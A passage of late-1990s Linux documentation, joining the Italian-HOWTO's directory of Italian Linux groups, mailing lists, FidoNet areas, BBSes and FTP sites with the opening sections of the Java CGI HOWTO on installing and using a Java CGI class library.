Per collaborare puoi inoltre iscriverti alle liste di discussione, in particolare ``it'' e ``pluto-ildp''.

Tutto il materiale tradotto è reperibile online all'indirizzo http://www.pluto.linux.it/ildp/ e negli altri formati all'indirizzo ftp://ftp.pluto.linux.it/pub/ildp/, o comunque in uno dei numerosi mirror di questo sito che stanno nascendo come funghi.

AppuntiLinux

AppuntiLinux è un ottimo esempio di documentazione autoprodotta, e rappresenta un testo da consigliare vivamente a chi si avvicina per la prima volta a Linux, visto che si configura come un ``corso'' che aiuta a muovere i primi passi in Linux.

Potete trovare AppuntiLinux negli altri formati a questo URL.

Riviste/fanzine

Sono riviste elettroniche (fanzine, da fan+magazine, giornaletti autoprodotti ``in casa'') di ottima qualità (mediamente), ed alcune con una consolidata tradizione alle spalle.

  • PLUTO Open Journal , Pluto User Group. Il PLUTO Open Journal è una rivista interamente in italiano e completamente gratuita. La rivista tratta argomenti inerenti Linux ed è completamente fatta da volontari di tutta Italia. È consultabile on-line all'indirizzo URL: http://www.pluto.linux.it/journal e tutti i mirror PLUTO. È reperibile anche in versione .tar.gz per una comoda lettura off-line all'url ftp://ftp.pluto.linux.it/pub/pluto/journal oppure (con una settimana di ritardo ;) in f'req al nodo FidoNet 2:333/1016 (con estensione .tgz invece che .tar.gz per compatibilità con i sistemi DOS.
  • Linux Gazette Edizione Italiana, LUGBari. LGEI, come tradisce il nome, è una fanzine su Linux in italiano che contiene per la maggior parte (ma non solo) articoli che sono una traduzione di quelli della Linux Gazzette statunitense. È reperibile all'URL http://www.officine.it/lgei/.
  • LinuxFocus. All' URL http://mercury.chem.pitt.edu/~angel/LinuxFocus potete trovare l'edizione italiana del magazine on-line ``LinuxFocus'' (da Seipse).
  • AscoLinux Journal, LUG Ascoli. Il LUG Ascoli ha pubblicato sul Web il proprio giornale all URL http://www.rinascita.it/ascolinux. Trattasi di AscoLinux Journal, una raccolta di articoli scritti in maniera molto ``leggera'' (con contenuti elementari, direi) da noi per far avvicinare i concittadini alle iniziative del LUG. L'idea che vogliamo realizzare è quella di fare in modo che la gente, anche se non esperta di informatica, possa capire che cosa è possibile fare con linux, e in che modo si può fare!
  • LinuxValley Journal, LinuxValley. Altra fanzine, nata dallo scisma all'interno di LGEI; è reperibile all'URL http://www.linuxvalley.com/lvj.

9.3 Distribuzioni in Italiano

Ebbene sí, si può cominciare a parlare di distribuzioni in Italiano!!!

Ma sfogo la mia amarezza dicendo che solo Debian ha un approccio ``serio'' alla localizzazione di una distribuzione... Mentre Debian ha creato un gruppo per l'internazionalizzazione e da questo dei gruppi locali uno per ogni lingua, e sta cercando di fornire una localizzazione completa (programma di installazione, documentazione, cataloghi dei programmi, vocabolario per ispell, ...) le distribuzioni commerciali spesso considerano ``distribuzione in Italiano'' una distribuzione in inglese, con localizzazione mancante o non funzionante, il programa di installazione con le descrizioni dei pacchetti in italiano e un manuale (sempre di installazione) in italiano.

Contando che tutto il materiale italiano inserito in Debian è PLUTO o GNU, non c'è scusante a questa, per me barbara, politica...

  • Slackware, Infomagic. pubblica in Italia un cofanetto con dei CD che ha la copertina in Italiano, e mi sembra il (breve) manualetto di installazione all'interno pure. Non so che cosa ci sia in italiano oltre a queste cose, e chiedo conferme.
  • Debian, Debian. Oltre alla Debian ``pulita'', che già contiene molte cose in Italiano (manpage, gli HOWTO, i PlutoJournal e il vocabolario per ispell), da una collaborazione tra ProSA S.r.L e Athena S.r.L è nata ``Athena Debian 2.0 Linux - powered by ProSA'', una Debian 2 con installazione parzialmente semplificata e in italiano, che verrà commercializzata con una copia su carta degli AppuntiLinux. Per maggiori informazioni fate riferimento ai due URL qui sopra.
  • Caldera, Caldera Inc.. tra poco dovrebbe uscire una versione di Caldera Open Linux Base con installazione e manuale in italiano, e tra un po' dovrebbe essere prodotto un corso interattivo (tutorial) in italiano.
  • SuSE, SuSE. Dopo la mitica Debian Pluto in Italiano è uscita la prima distribuzione commerciale in Italiano si tratta della ormai famosa SuSE 5.2 (falso, la prima è la Caldera, ndr). Mi è arrivata ieri e ho prontamente installato, naturalmente il supporto italiano è limitato all'installazione e al sistema di gestione denominato Yast. Ci sono dei curiosi errori di traduzione, ma mai quanti quelli di sistemi piú blasonati quali AIX (hard disk = disco duro :-) (da Gabriele Paciucci). Ha un manuale in Italiano un po' ridotto (spiega l' installazione e poco altro), e poi c'è la guida completa in Inglese che ti spiega tutti i perché e i per come. (da un anonimo S.u.S.E. Linux 5.1 User).

9.4 Altro materiale in Italiano

Fortune in Italiano

Esiste una collezione di ``fortune'' in italiano; le fortune sono frasi che vengono stampate automaticamente nella fase di login dal programma fortune(1).

Maggiori informazioni si possono avere al sito http://www.pluto.linux.it/~zuse/fortune.it o scrivendo all'autore Andrea `Zuse' Balestrero.

Linux FAQ

Con questa guida mi propongo di riunire all'interno di un unico documento in Italiano, informazioni che possano essere utili a coloro che vogliono avvicinarsi a questo ottimo sistema operativo e nello stesso tempo fornire delle notizie che possano essere utilizzate dai system integrator per giustificare la scelta di Linux all'interno di un'azienda.

Una versione piú o meno aggiornata di questa guida è disponibile nei newsgroup it.faq e it.comp.linux e su http://www.pluto.linux.it/ildp/FAQ (da Marco Iannacone).


Linux Italian-HOWTO: Linux in Italia

 Next Previous Contents

10. Linux in Italia

Questo spazio vuole essere un tentativo di censimento della realtà Linux in Italia, un tentativo perché questa è una realtà in velocissimo movimento...

10.1 Associazioni, gruppi di utenti

Il mondo Linux in Italia sta subendo una crescita impressionante, cosa che stupisce anche noi che... in queste cose ci crediamo!

Oltre a ILS (che è una associazione vera e propria, con statuto, assemblea e quota associativa) e il PLUTO (che è il gruppo piú noto e attivo, gruppo che coordina le traduzioni e pubblica il PlutoJournal tra le altre cose...) esistono una miriade di LUG locali sparsi per tutta Italia...

PLUTO

Il Pluto, definito recursivamente come ``Pluto Linux/Lumen Utentibus Terrarum Orbis'', è nato nel 1992 per iniziativa di alcuni studenti e professori di Informatica dell'Università di Padova.

Da allora il Pluto è cresciuto in maniera esponenziale estendendosi su tutto il territorio nazionale ed oltre, e costituisce il piú grande ed attivo LUG (Linux User Group) di lingua Italiana.

Lo scopo del Pluto è di diffondere l'uso del Sistema Operativo Linux attraverso l'opera volontaria e non retribuita dei suoi membri/soci. Per conseguire il suo scopo, il Pluto:

  • Sostiene e diffonde lo sviluppo del Software Free e della sua filosofia.
  • Produce, traduce e diffonde la documentazione di Linux in lingua Italiana.
  • Promuove corsi, dimostrazioni e manifestazioni per favorire la conoscenza di Linux.

Ogni utente di Linux, senza restrizioni alcune, che si impegni a partecipare attivamente allo scopo del Pluto, diviene per questo membro del Pluto.

Il Pluto è una organizzazione ``virtuale'' che vive in uno o piú siti connessi ad Internet. La comunicazione tra i membri avviene primariamente attraverso i mezzi elettronici messi a disposizione dalla sede, il newsgroup Usenet it.comp.linux.pluto, le mailing list pluto-*, canali IRC, pagine del World Wide Web, ecc.

Maggiori informazioni possono essere reperite alle pagine ufficiali del PLUTO all'indirizzo http://www.pluto.linux.it/.

ILS

ILS è un'associazione culturale senza fini di lucro, che ha fra i suoi scopi primari la diffusione della cultura informatica in tutte le sue forme, con una particolare attenzione per il mondo del free software in generale e del software che viene rilasciato sotto la GNU General Public License. ILS è composta da tutti coloro che volontariamente e senza percepire alcun profitto mettono a disposizione il proprio tempo, le proprie capacita e le proprie risorse al fine di realizzare una comunità virtuale basata sulla cultura informatica/telematica. ILS offre ai Soci i servizi di Internet e-mail e Usenet News, che sono compresi nella quota associativa annua di Lire 50.000. Per maggiori informazioni chiamare la BBS della ILS al numero 019-862349, oppure mandare una mail a info@linux.it.

Si può anche fare riferimento per maggiori informazioni a http://www.linux.it/.

Altri LUG locali

Esiste la mappa italiana dei LUG, ovvero delle pagine che contengono riferimenti a tutti i LUG nati qua e la in Italia.

Consiglio a tutti quelli che hanno creato un LUG, o che ne hanno l'intenzione, di chiedere al manutentore (Lindo Nepi, ascoli@ascu.unian.it) di essere aggiunti a questa mappa. Consiglio inoltre di iscriversi alla lista ``nuovi-lug'' per il coordinamento tra LUG e per lo scambio di esperienze, trovate le informazioni nella sezione dedicata alle liste di discussione.

10.2 Aree di discussione pubbliche

Newsgroups

comp.os.linux*

Ovvero I newsgroup su Linux. Ultimamente sono diventati supertrafficati, e la qualità non è esaltante (per la maggior parte si cercano rimedi per qualche pezzo di hardware che non funziona). Da seguire assolutamente comp.os.linux.announce, che ``lancia'' tutti i nuovi software per linux.

it.comp.linux

Newsgroup italiano ufficiale su Linux. Valgono i discorsi fatti per la precedente gerarchia, con l'aggiunta della disponibilità tutta italiana (e in italiano) ad aiutare chi si affaccia per la prima volta nel grande mondo Linux.

it.comp.linux.pluto

Gli argomenti trattati dovrebbero essere attinenti a tutto ciò che riguarda il gruppo PLUTO.

it.comp.linux.setup

Discussioni sulla configurazione e installazione di un sistema Linux.

it.comp.linux.annunci

Annunci importanti per la comunità Linux italiana.

Mailing List

Le mailing list sono dei luoghi virtuali in cui è possibile confrontarsi e discutere, un po' come i newsgroup. Quello che veramente li distingue da questi è il fatto che è possibile avere un controllo piú stringente sull'accesso, e quindi evitare maggiormente il rumore di fondo.

Per iscriversi a queste liste è sufficiente mandare un messaggio all'utente ``majordomo'' dell'indirizzo a cui appartengono le liste e inserire nel corpo del messaggio una riga con:

        subscribe nomelista email

dove ``nomelista'' è il nome della lista (quello che c'è a sinistra del simbolo ``@''), e ``email'' il vostro indirizzo email.

pluto-amiga@pluto.linux.it

Linux e m68k, ovvero Linux su Mac, Atari, Amiga...

pluto-arch@pluto.linux.it

coordinamento progetti amiga, i386 e Sparc

pluto-devel@pluto.linux.it

i Pluto Developers, ovvero lista in cui si discute sul free software e si sviluppa free software

pluto-fido@pluto.linux.it

Linux e il mondo della FidoTech, ovvero come mettere su una BBS sotto Linux e conquistare il mondo (della FTN)

pluto-humor@pluto.linux.it

per discussioni poco serie

pluto-i386@pluto.linux.it

Linux su macchine PC, per ora discussioni su cosa far fare al proprio PC con linux...

pluto-ildp@pluto.linux.it

maliling list ufficiale del progetto ILDP; occorre iscriversi a questa lista se si ha l'intenzione di tradurre qualche HOWTO o documento simile.

pluto-journal@pluto.linux.it

lista di coordinamento/redazione virtuale del Pluto Open Journal

pluto-meeting@pluto.linux.it

per organizzare il meeting pluto

pluto-ong@pluto.linux.it

Linux on the world, ovvero linux come strumento di networking a basso costo per i PVS

pluto-sparc@pluto.linux.it

Linux su Sparc

pluto-soci@pluto.linux.it

per tutti i soci pluto; questa lista è volutamente diffusa sotto altre forme in diversi net amatoriali e anche altro per permetterne la massima accessibilità.

pluto-scical@pluto.linux.it

Linux e calcolo scientifico

it@li.org

lista per l'Italia del progetto Linux International; occorre iscriversi qui se si ha l'intenzione di tradurre qualche catalogo di messaggi, oppure qualche programma GNU

ispell-it@arci01.bo.cnr.it

lista per la produzione di un vocabolario in italiano per ispell

Per queste altre, che utilizzano il software SmartList, occorre invece mandare un messaggio all'indirizzo della lista con un ``-request'' aggiunto prima del segno ``@'', e inserire nel corpo del messaggio una riga con un semplice:

        subscribe

scuola@linux.it

Linux e il mondo della scuola

com@linux.it

Linux e il mondo commerciale. Questa mailing list è per tutte le ditte che vendono prodotti per Linux, consulenza su Linux, sistemi Linux e cose simili.

linux-isp@linux.it

Uso di Linux da parte di provider e simili.

debian-it@linux.it

doppione locale della precedente

nuovi-lug@linux.it

Lista di coordinamento tra i LUG Italiani, e non solo per quelli nuovi (come sembra dire il nome).

debian-italian@lists.debian.org

lista ufficiale degli utenti Debian italiani

linux-italia@lists.cosmos.it

Lo spirito della Mailing List è molto differente dal solito accademico ``RTFM'' (Read The Fucked Manual): a ogni domanda una risposta. Chi non sa chiede, chi sa mette a disposizione degli altri le proprie conoscenze.

Infine per queste occorre mandare un messaggio all'utente ``listserv'' del dominio a cui appartengono le liste e inserire nel corpo del messaggio una riga con:

        subscribe nomelista Nome Cognome

dove ``nomelista'' è il nome della lista (quello che c'è a sinistra del simbolo ``@''), e ``Nome Cognome'' il vostro nome e cognome.

linux-it@nis.garr.it

Mailing list generale su linux.

FidoNet

FidoNet è la mamma di tutte le reti in tecnologia (appunto) FidoNet, ed è la piú grossa rete amatoriale oggi esistente; veicola delle aree di discussione che sono, ai fini pratici, equivalenti ai newsgroup come tecnologia, ma molto piú simili alle mailing list come qualità dei contenuti.

Per maggiori informazioni vi rimando a http://www.fidoitalia.net/ oppure alle aree locali di ogni buona BBS.

UNIX.ITA

L'area UNIX.ITA tratta di tutto quello che riguarda i sistemi operativi *IX, sia come filosofia generale che come applicazione a sistemi particolari, compresi - ma non limitati a - AIX, A/UX, Coherent, ESIX, Interactive, Linux, Minix, NetBSD, SCO-UNIX, SunOS, Ultrix, Xenix. È tollerato anche parlare dei vari pacchetti software che storicamente sono associati all'idea di ``ambiente aperto'', e che sono disponibili in sorgente, come ad esempio i programmi GNU. In via sperimentale, è permesso parlare di programmazione di rete Unix (leggasi socket, RPC e simili). L'area UNIX.ITA non tratta di TeX (esiste l'area TEX.ITA al proposito) e soprattutto non tratta di ``Internet at large'' e affini. Per queste tematiche esiste l'area COMMS_RETI.ITA. Si invitano gli abituali frequentatori di UNIX.ITA a non rispondere in quest'area ai messaggi di questo genere: molto meglio una risposta in matrix comprendente anche l'invito a linkare l'altra area in questione. La parte di Internet che riguarda l'area comprende essenzialmente i server http (non i lettori) e i protocolli http, ftp e simili (non HTML).

Moderatore: Marco d'Itri, Fidonet: 2:332/206.10, md@linux.it

TEX.ITA

I temi della conferenza sono il linguaggio per la creazione di documenti TeX (con l'estensione LaTeX) ed il linguaggio per la creazione di font METAFONT, che a TeX è direttamente correlato. SGML, che è, a titolo sperimentale, ammesso come tema di discussione in area (HTML escluso a meno di autorizzazione) e sulla possibilità di discutere di applicazioni correlate a (La)TeX, ad esempio AUC TeX e cosi` via.

Moderatore: Paolo Cascini, FidoNet: 2:332/101.12, laurgeo@udini.math.unifi.it

COMMS_RETI.ITA

Qui si tratta di reti geografiche e metropolitane, dei loro contenuti, strumenti protocolli e modalità di accesso. L'argomento può portare facilmente, data la natura della principali di queste reti, internet, a parlare di sistemi UNIX. Si ricorda che per questo argomento esiste un'area nazionale apposita. Anche per la discussione sulle reti locali esiste un'altra area dedicata. Si invitano gli utenti a scrivere qui solo di reti geografiche e metropolitane e a spostare in matrix ogni comunicazione non attinente il soggetto della conferenza (ringraziamenti, saluti, insulti e divagazioni). Qualora un nuovo utente ponga una domanda a cui si è già più volte risposto in area o/e di cui si ritiene nota ai frequentatori la risposta, si prega di soddisfarne la richiesta in matrix e di inviare, sempre per questa via, copia della risposta al moderatore che provvederà a inserirla nelle FAQ dell'area (è un buon proposito).

Moderatore: Federico Baraldi, Fidonet: 2:332/414.6, Federico.Baraldi@p6.f414.n332.z2.fidonet.org

PLUTO.ITA

I Plutini in FidoNet

Questa lista vuole essere punto di incontro dei soci PLUTO in FidoNet, ed infatti è posta in gateway con la lista pluto-soci@pluto.linux.it.

UNIX_BBS.ITA

Linux alla conquista delle BBS

In quest'area si dovrebbe discutere dell'uso di UNIX (e quindi Linux) come software di BBS/gate.

LINUX_BBS

Linux alla conquista delle BBS (internazionale)

Idem a sopra, solo che quest'area è internazionale, e sta già producendo FAQ a manetta.

LINUX

International LINUX Conference

Area internazionale ufficiale su Linux. Niente di speciale, a parte il fatto che si leggono i messaggi provenienti da Sud America e Giappone qualche settimana dopo che sono stati spediti...

UNIX

International UNIX Conference

Idem a sopra.

SPUTNIK.500

Area del LUG Siciliano

Area locale all'HUB 500 (Sicilia) su Linux creata appositamente come area di supporto per il gruppo SPUTNIK.

PNet

Rete ``alternativa'' a FidoNet, piú piccola (è solo nazionale) ma non meno tecnicamente preparata.

Per maggiori informazioni vi rimando a http://www.retepnet.it/.

P_UNIX

Linux, Unix e affini

Discussioni sul sistema operativo Linux (software, hardware, compatibilità, sorgenti, etc) e confronto con altri sistemi operativi Unix-like

P_PLUTO

PLUTO in PNet

gate con la mailing lists pluto-soci@pluto.linux.it

P_PLFTN

PNet, PLUTO e le BBS UNIX

gate con la mailing lists pluto-fido@pluto.linux.it

EuroNet

COMEON_LINUX.ITA

Area di supporto ComeOn Linux!

Per i suoi attivisti e per quanti vogliano collaborare.

PeaceLink

Rete amatoriale ecopacifista, membro APC. Per maggiori informazioni si può vedere http://www.peacelink.it/.

PCK.PUB.PEACELINK_ARC

Supporto tecnico PeaceLink

non è proprio un'area dedicata a Linux, ma è l'area di supporto tecnico tra gli utenti di PeaceLink e Linux è il sistema operativo ufficiale di rete e associazione PeaceLink.

ScoutNet

Rete del movimento scout mondiale, maggiori informazioni si possono trovare al sito http://www.scoutnet.org/.

LINUX.GSI

Il Gruppo Sperimentazione Informatica e Linux

area del GSI per le discussioni sull'applicazione di Linux nelle attività scout.

Rete packet AX25

Il sistema operativo Linux è molto apprezzato nell'ambiente radioamatoriale in quanto utilizzato per far funzionare molti gateway tcp/ip che collegato la rete ax25 ham con la rete internet. Sulla rete radioamatoriale esistono delle aree ``Linux'' nelle quali confluiscono tutti i messaggi con indirizzo linux@ita linux@eu e linux@ww (da Valter Bruno, ik1qew).

IRC

Se siete interessati a Linux, se lo conoscete abbastanza bene, molto bene o volete trovare un aiuto, se usate IRC, siete invitati a intervenire nel canale #linux-it di IRCNet. Sono bene accetti utenti di qualsiasi livello, sia per dare che per ricevere informazioni in tempo reale (ottimo quando avete un problema urgente). Piú persone ci sono, piú probabilità c'è di trovare chi dà risposte (da Enrico Cherubini).

Ora il canale #linux-it ha anche un URL, ovvero http://members.tripod.com/~DarkServer.

Meeting

Pluto Meeting

Più o meno due volte l'anno i Plutiani si ritrovano a parlare dei loro progetti e delle loro ambizioni. Almeno una di queste due riunioni è aperta a tutti, viene organizzata con tanto di conferenze e dimostrazioni e viene pubblicamente annunciata nei soliti canali.

Ottimo punto di riferimento è http://meeting.pluto.linux.it/

10.3 Siti Linux

Siti internet

  • ftp://tsx-11.mit.edu/pub/linux Casa madre di buona parte del software Linux, amichevolmente chiamato semplicemente ``tsx''.
  • ftp://sunsite.unc.edu/pub/Linux Idem come sopra, in più sunsite rappresenta il sito dove guardare per primo se si va a caccia di informazioni e documentazione, anche questo chiamato ``sunsite'' e basta (basta la parola ;).
  • ftp://ftp.funet.fi/pub/linux Uno dei più grandi siti ftp al mondo, mirror di tante cose tra cui sunsite, tsx e casa madre dei kernel di Linux.
  • ftp://ftp.pluto.linux.it/ Casa madre di tutto quello prodotto dal gruppo Pluto, in particolare aggiornamenti della documentazione tradotta in italiano e Pluto Journal.
  • ftp://ftp.linux.it/, ftp://svpop.com.dist.unige.it/ Casa madre di ILS, correntemente mirror completo di Debian e di molte altre cose relative a Linux, soprattutto relative all'uso di Linux in ambiente FTN (Ifmail-HOWTO e compagnia).
  • http://gnu.linux.it Mirror italiano ufficiale di http://www.gnu.org.
  • ftp://cnuce_arch.cnr.it/pub/Linux Mirror ufficiale italiano di sunsite.
  • ftp://ftp.lnf.infn.it/packages/Linux/ Il sito dell'INFN che tra l'altro è mirror italiano di SuSE.

BBS

  • OneWay BBS, +39 2 4491062, v.32bis,v.42bis, Milano, Fidonet 2:331/333, Virnet
  • DOC!, +39 41 5905472, ZyXEL19.2k,V.32b,V.42b, Mogliano Veneto (TV), Fidonet 2:333/704
  • Sierra BBS, +39 6 39721568, ZyXEL19.2k,V.32b,V.42b, Roma, Fidonet 2:335/336
  • Aloha BBS, +39 923 546164/7, V.32bis, V.42bis, Trapani, Fidonet 2:335/519, MultiMediaNet
  • Pappaconda on-line, +39 51 6233671, Zyxel 19.200, Bologna, Fidonet 2:332/424
  • ILS BBS, +39 19 862349, V32bis,V42bis, Savona, Internet (E-Mail, News) Praticamente la versione BBS di svpop.
  • XCalBr8 BBS, +39 535 780191 Fidonet 2:332/521 Sysop Andrea Baldoni. File per sysadm, sorgenti di dosemu60, doom, driver per Gravis. patch del kernel, sorgente completo del kernel.
  • Eko BBS, +39 6 5215306, V.32bis, V.42bis, Roma, Fidonet 2:335/374 Files: Slackware (Agosto95), Howto, LDP...
  • cmb2000 BBS, +39 332 820009, v.32bis, v.42bis, Varese Fidonet 2:331/134 Files: Linux Slackware 3.0, IfMail-HowTo, MIT Sources, VuBbs.
  • Universal Mind BBS, +39 434 561305 , V.34+, Pordenone, Fidonet 2:333/1016, Pnet 91:13/1, PeaceLink 61:3917/1, Sysop Marco Gaiarin. Mirror (?!) di tutto quello prodotto per il PLUTO (soprattutto Pluto Journal), vario altro. Magic f'req ``PLUTO'' per la lista files Linux.
  • Car Systems Service '93 BBS, +39 85 4492408, Creatix SG 2834, Montesilvano PE, Fidonet 2:335/626, Euronet 230:1027/0, VirNet 9:395/0, Intelec Network 239:102/0, RIME 900:310/0, Eagle's Nest Network 145:1/0, IFDNet 14:5004/103, OS2Net 81:439/68, SysOp Stefano Brandimarte, Sorgenti del kernel costantemente aggiornati, patch, dosemu, XFree86, librerie e applicazioni varie.


Java CGI HOWTO

by David H. Silber javacgi-document@orbits.com

v0.5, 1 December 1998

This HOWTO document explains how to set up your server to allow CGI programs written in Java and how to use Java to write CGI programs. Although HOWTO documents are targetted towards use with the Linux operating system, this particular one is not dependant on the particular version of unix used.

1. Introduction

  • 1.1 Prior Knowledge
  • 1.2 This Document
  • 1.3 The Package
  • 1.4 The Mailing List

2. Setting Up Your Server to Run Java CGI Programs (With Explanations)

  • 2.1 System Requirements
  • 2.2 Java CGI Add-On Software
  • 2.3 Unpacking the Source
  • 2.4 Decide On Your Local Path Policies
  • 2.5 Testing your installation.

3. Setting Up Your Server to Run Java CGI Programs (The Short Form)

4. Executing a Java CGI Program

  • 4.1 Obstacles to Running Java Programs Under the CGI Model
  • 4.2 Overcoming Problems in Running Java CGI Programs

5. Using the Java CGI Classes.

  • 5.1 CGI
  • 5.2 CGI_Test
  • 5.3 Email
  • 5.4 Email_Test
  • 5.5 HTML
  • 5.6 HTML_Test
  • 5.7 Text

6. Future Plans

7. Changes

  • 7.1 Changes from 0.4 to 0.5
  • 7.2 Changes from 0.3 to 0.4
  • 7.3 Changes from 0.2 to 0.3
  • 7.4 Changes from 0.1 to 0.2


Java CGI HOWTO: Introduction

 Next Previous Contents

1. Introduction

Because of the way that Java is designed the programmer does not have easy access to the system's environment variables. Because of the way that the Java Development Kit (JDK) is set up, it is necessary to use multiple tokens to invoke a program, which does not mesh very well with the standard HTML forms/CGI manner of operations. There are ways around these limitations, and I have implemented one of them. Read further for details.

Since I wrote the previous paragraph in 1996, there have been many changes in the Java technology. It is likely that a better solution to running server-side Java programs is now available -- perhaps you should take a look at servlets.

1.1 Prior Knowledge

I am assuming that you have a general knowledge of HTML and CGI concepts and at least a minimal knowledge of your HTTP server. You should also know how to program in Java, or a lot of this will not make sense.

1.2 This Document

The latest version of this document can be read at http://www.orbits.com/software/Java_CGI.html.

1.3 The Package

The latest version of the package described here can be accessed via anonymous FTP at ftp://ftp.orbits.com/pub/software/java_cgi-0.5.tgz. The package distribution includes SGML source for this document.

The package is distributed under the terms of the GNU Library General Public License. This document can be distributed under the terms of the Linux HOWTO copyright notice.

If you use this software, please make some reference to http://www.orbits.com/software/Java_CGI.html, so that others will be able to find the Java CGI classes.

I have run out of time to maintain and support this package, so this will probably be its final release. If anyone out there is sufficiently enamoured of this software that they wish to take over the maintenace of it, please contact me at javacgi-document@orbits.com.

1.4 The Mailing List

I have created a majordomo list to allow people to help each-other work through their mutual problems in installing and using this software. Send a message to javacgi-request@orbits.com, containing the word subscribe.


Java CGI HOWTO: Setting Up Your Server to Run Java CGI Programs (With Explanations)

 Next Previous Contents

2. Setting Up Your Server to Run Java CGI Programs (With Explanations)

This section will lead you through installing my Java CGI package with copious explanations so that you know what the effects of your actions will be. If you just want to install the programs and don't care about the whys & wherefores, skip to Setting Up Your Server to Run Java CGI Programs (The Short Form).

2.1 System Requirements

This software should work on any unix-like web server that has the Java Development Kit installed. I am using it on a Debian Linux system running apache as the HTTP daemon. If you find that it does not run on your server, please contact the mailing list. See The Mailing List for details.

Unfortunatly, the Java run-time interpreter seems to be something of a memory hog -- you may want to throw another few megabytes of RAM onto your server if you will be using Java CGI programs a lot.

2.2 Java CGI Add-On Software

The software that I wrote to aid in this is called Java CGI. You can get it from ftp://ftp.orbits.com/pub/software/java_cgi-0.5.tgz. (The version number may have changed.)

2.3 Unpacking the Source

Find a convenient directory to unpack this package into. (If you don't already have a standard place to put packages, I suggest that you use /usr/local/src.) Unpack the distribution with this command:

gzip -dc java_cgi-0.5.tgz | tar -xvf -
This will create a directory called java_cgi-0.5. In there you will find the files referenced in the rest of this document. (If the version number has changed, use the instructions from within that distribution from this point on.)

2.4 Decide On Your Local Path Policies

You need to decide where you want your Java CGI programs to live. Generally, you will want to put them in a directory in parallel with your cgi-bin directory. My apache server came configured to use /var/www/cgi-bin as the cgi-bin directory, so I use /var/www/javacgi as the directory to put Java CGI programs in. You probably do not want to put your Java CGI programs into one of the existing CLASSPATH directories. Edit the Makefile to reflect your system configuration. Make sure that you are logged in as the root user and run make install. This will compile the Java programs, modify the java.cgi script to fit in with your system and install the programs in the appropriate places. If you want the HTML version of this documentation and an HTML test document in addition, run make all instead.

2.5 Testing your installation.

Installed from the distribution are HTML documents called javacgitest.html, javaemailtest.html and javahtmltest.html. If you installed all in the previous section, it will be in the directory you specified for WEBDIR in the Makefile. If you didn't, you can run make test to build them from javacgitest.html-dist, javaemailtest.html-dist and javahtmltest.html-dist.

When you are sure that your installation is working correctly, you may wish to remove CGI_Test.class, Email_Test.class and HTML_Test.class from your JAVACGI directory and javacgitest.html, javaemailtest.html and javahtmltest.html from your WEBDIR directory as they show the user information that is normally only available to the server.


Java CGI HOWTO: Setting Up Your Server to Run Java CGI Programs (The Short Form)

 Next Previous Contents

3. Setting Up Your Server to Run Java CGI Programs (The Short Form)

  • Get the Java CGI package from ftp://ftp.orbits.com/pub/software/java_cgi-0.5.tgz. (The version number may have changed.)
  • Unpack the distribution with this command:
    gzip -dc java_cgi-0.5.tgz | tar -xvf -
    (If the version number has changed, use the instructions from within that distribution from this point on.)
  • Edit the Makefile you will find in the newly created directory java_cgi-0.5 as appropriate to your system.
  • As root, run make install. This will compile the Java programs, apply your system-specific information and install the various files. If you want the HTML version of this documentation and an HTML test document, run make all instead.
  • You should be ready to go.


Java CGI HOWTO: Executing a Java CGI Program

 Next Previous Contents

4. Executing a Java CGI Program

4.1 Obstacles to Running Java Programs Under the CGI Model

There are two main problems in running a Java program from a web server:

You can't run Java programs like ordinary executables.

You need to run the Java run-time interpreter and provide the initial class (program to run) on the command-line. With an HTML form, there is no provision for sending a command-line to the web server.

Java does not have general access to the environment.

Every environment variable that will be needed by the Java program must be explicitly passed in. There is no method similar to the C getenv() function.

4.2 Overcoming Problems in Running Java CGI Programs

To deal with these obstacles, I wrote a shell CGI program that provides the information needed by the Java interpreter.

The java.cgi script.

This shell script manages the interaction between the HTTP daemon and the Java CGI program that you wish to use. It extracts the name of the program that you want to run from the server-provided data. It collects all of the environment data into a temporary file. Then, it runs the Java run-time interpreter with the name of the file of environment information and the program name added to the command-line.

The java.cgi script was configured and installed in Decide On Your Local Path Policies.

Invoking java.cgi from an HTML form.

My forms that use Java CGI programs specify a form action as follows:

<form action="/cgi-bin/java.cgi/CGI_Test" method="POST">
Where /cgi-bin/ is your local CGI binary directory, java.cgi is the Java front-end that allows us to run Java programs over the web and CGI_Test is an example of the name of the Java program to run.


Java CGI HOWTO: Using the Java CGI Classes.

 Next Previous Contents

5. Using the Java CGI Classes.

There are currently three main classes supported -- CGI, Email and HTML. I am considering adding classes to deal with MIME-formatted input and output -- MIMEin & MIMEout, respectively.

There are also a few support and test classes. CGI_Test, Email_Test and HTML_Test are intended to be used to test your installation. They can also be used as a starting-point for your own Java programs which use this class library. The Text class is the superclass for both the Email and the HTML classes.

5.1 CGI

Class Syntax

public class CGI

Class Description

The CGI class holds the ``CGI Information'' -- Environment variables set by the web server and the name/value sent from a form when its submit action is selected. All information is stored in a Properties class object.

This class is in the ``Orbits.net'' package.

Member Summary

        CGI()         //  Constructor.
        getNames()    //  Get the list of names.
        getValue()    //  Get form value by specifying name.

See Also

CGI_Test.

CGI()

Purpose

Constructs an object which contains the available CGI data.

Syntax

public CGI()

Description

When a CGI object is constructed, all available CGI information is sucked-up into storage local to the new object.

getNames()

Purpose

List the names which are defined to have corresponding values.

Syntax

public Enumeration getKeys ()

Description

Provides the full list of names for which coresponding values are defined.

Returns

An Enumeration of all the names defined.

getValue()

Purpose

Retrieves the value associated with the name specified.

Syntax

public String getValue ( String name )

Description

This method provides the corespondence between the names and values sent from an HTML form.

Parameter

name

The key by which values are selected.

Returns

A String containing the value.

5.2 CGI_Test

This class provides both an example of how to use the CGI class and a test program which can be used to confirm that the Java CGI package is functioning correctly.

Member Summary

        main()      //  Program main().

See Also

CGI.

main()

Purpose

Provide a main() method.

Syntax

public static void main( String argv[] )

Description

This is the entry point for a CGI program which does nothing but return a list of the available name/value pairs and their current values.

Parameter

argv[]

Arguments passed to the program by the java.cgi script. Currently unused.

5.3 Email

Class Syntax

public class Email extends Text

Class Description

Messages are built up with the Text class add*() methods and the e-mail-specific methods added by this class. When complete, the message is sent to its destination.

This class is in the ``Orbits.net'' package.

Member Summary

        Email()      //  Constructor.
        send()       //  Send the e-mail message.
        sendTo()     //  Add a destination for message.
        subject()    //  Set the Subject: for message.

See Also

Email_Test, Text.

Email()

Purpose

Constructs an object which will contain an email message.

Syntax

public Email()

Description

Sets up an empty message to be completed by the Email methods.

See Also

Text.

send()

Purpose

Send the e-mail message.

Syntax

public void send ()

Description

This formats and sends the message. If no destination address has been set, there is no action taken.

sendTo()

Purpose

Add a destination for this message.

Syntax

public String sendTo ( String address )

Description

